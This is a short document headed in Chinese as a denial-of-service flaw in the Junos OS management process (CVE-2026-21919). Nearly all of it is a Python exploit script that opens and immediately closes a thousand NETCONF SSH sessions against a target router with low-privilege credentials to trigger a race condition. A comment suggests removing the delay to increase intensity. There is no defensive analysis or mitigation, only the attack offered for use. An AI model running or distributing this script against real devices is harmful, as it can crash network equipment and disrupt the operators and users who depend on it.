CVE-2026-21919 Junos OS管理进程DoS漏洞

import paramiko import time # Configuration TARGET_IP = "192.168.1.1" TARGET_PORT = 830 USERNAME = "lowpriv_user" PASSWORD = "password" COUNT = 1000 def exploit(): print(f"[*] Starting attack against {TARGET_IP}...") for i in range(COUNT): try: # Create a new SSH client for each session ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Establish NETCONF connection (SSH) ssh.connect(TARGET_IP, port=TARGET_PORT, username=USERNAME, password=PASSWORD, timeout=5) # Immediately close the connection to trigger the race condition ssh.close() print(f"[+] Sent/disconnected session {i+1}/{COUNT}") except Exception as e: print(f"[-] Error on session {i+1}: {e}") # Small delay to simulate rapid but distinct connections # Remove or reduce this delay to increase intensity time.sleep(0.01) print("[*] Attack finished.") if __name__ == "__main__": exploit()